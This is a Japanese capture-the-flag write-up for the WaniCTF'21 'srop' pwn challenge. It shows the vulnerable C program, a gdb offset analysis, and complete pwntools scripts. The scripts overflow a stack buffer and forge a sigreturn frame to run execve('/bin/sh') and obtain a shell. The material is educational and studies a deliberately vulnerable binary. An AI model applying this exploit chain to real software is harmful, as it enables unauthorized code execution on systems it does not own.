WaniCTF'21-spring pwn 06 srop
srop の意味は SigReturn Oriented Programming だな。
これ勉強する前は Super ROP かと思ってたよ。
問題
nc srop.pwn.wanictf.org 9006
sigreturnを用いたROPでシェルを実行してください。
sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html
配布データ
pwn06
pwn06.c
#include <stdio.h>
#include <unistd.h>
void call_syscall() { __asm__("syscall; ret;"); }
void set_rax() { __asm__("mov $0xf, %rax; ret;"); }
int main() {
char buff[50];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
printf("buff : %p\nCan you get the shell?\n", buff);
read(0, buff, 0x200);
return 0;
}
短いな。
動かしてみると
# ./pwn06
buff : 0x7ffdab31aa60
Can you get the shell?
とbuff[50]のアドレスのリークがある
sigreturnが全然わからんのんで,solver.py を追う
from pwn import *
set_rax = p64(0x40118c)
syscall = p64(0x40117e)
#pc = process("./chall")
pc = connect('localhost',9101)
buff=pc.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))
payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall
payload+=p64(0)*5 #user_context
payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7
print(pc.recvuntil('\n'))
pc.send(payload)
pc.interactive()
set_rax = p64(0x40118c)
40118c: 48 c7 c0 0f 00 00 00 mov rax,0xf
401193: c3 ret
syscall = p64(0x40117e)
40117e: 0f 05 syscall
401180: c3 ret
payload = b"/bin/sh\x00"
payload+= b'A'*64
payload+=set_rax
payload+=syscall
rt_sigreturn()
payload+=p64(0)*5 #user_context
payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #eip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7
以上は全部 スタック 2 レジスタ
bof
char buff[50]は,実際には 0x10の倍数で割り当てられるので,
char buff[64]と同じこと。
"A"の数は buff の 64 と push ebp の 8 で, 8*9 と予想できる。
b main で止まった状態
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe458 --> 0x7ffff7a03bf7 (<__libc_start_main+231>: mov edi,eax)
0x7ffff7a03bf7 が main関数 のリターンアドレス
ローカル変数 char buff[50]; の割り当て
0x40119f <main+8>: sub rsp,0x40
=> 0x4011a3 <main+12>:
RSP: 0x7fffffffe410 --> 0xc2
スタック 0x7fffffffe410 が buff のアドレス
"A"の数
"A" * 8 * 9
予想通りだ。
計画書
b"/bin/sh\x00"を書き込む場所も必要なので,
"A" * 8 * 9とするところを
payload = b"/bin/sh\x00"
payload+= b'A'88
とする
b"/bin/sh\x00"のアドレスは,問題側でリークしてくれているので,拾う
syscall 0xf (15) rt_sigreturn() でスタックをレジスタに書き込むのだが,
書き込む内容は,
syscall 0x3b (59) execve(”/bun/sh”,null,null)
であるが,syscallをRIPに置く必要がある
レジスタ | 値 |
---|---|
RDI | "/bin/sh"のアドレス |
RSI | 0x0 |
RDX | 0x0 |
RAX | 0x3b (59 execve) |
RIP | syscall |
攻撃コード
# coding: UTF-8
# WaniCTF'21-spring pwn 06 srop
# https://github.com/wani-hackase/wanictf21spring-writeup/tree/main/pwn/06-srop
from pwn import *
import pwn
#io = pwn.remote("srop.pwn.wanictf.org", 9006)
io = pwn.process("./pwn06")
# rt_sigreturn() で使う rop部品
set_rax = p64(0x40118c) # mov rax, 0xf ; ret
syscall = p64(0x40117e) # syscall ; ret
# leak
buff=io.recvuntil('\n')[7:-1]
buff=int(buff,16)
print('@buff : '+hex(buff))
# buffの先頭はそのまま/bin/shの置き場にさせてもらう
payload = b"/bin/sh\x00"
payload+= b'A'*8*8
# rt_sigreturn
payload+=set_rax # mov rax, 0xf ; ret
payload+=syscall # syscall ; ret
# ここから下はレジスタに入る順番で
payload+=p64(0)*5 #user_context
payload+=p64(0)*8 #r8~r15
payload+=p64(buff)#rdi
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0)
payload+=p64(0x3b)#rax
payload+=p64(0)
payload+=p64(0)
payload+=syscall #rip
payload+=p64(0) #eflags
payload+=p64(0x33) #cs
payload+=p64(0) #gs
payload+=p64(0) #fs
payload+=p64(0) #ss
payload+=p64(0)*7
print(io.recvuntil('\n'))
io.send(payload)
io.interactive()
わかりやすい説明が出来た気がする。(自画自賛)
cs 0x33 って何だ?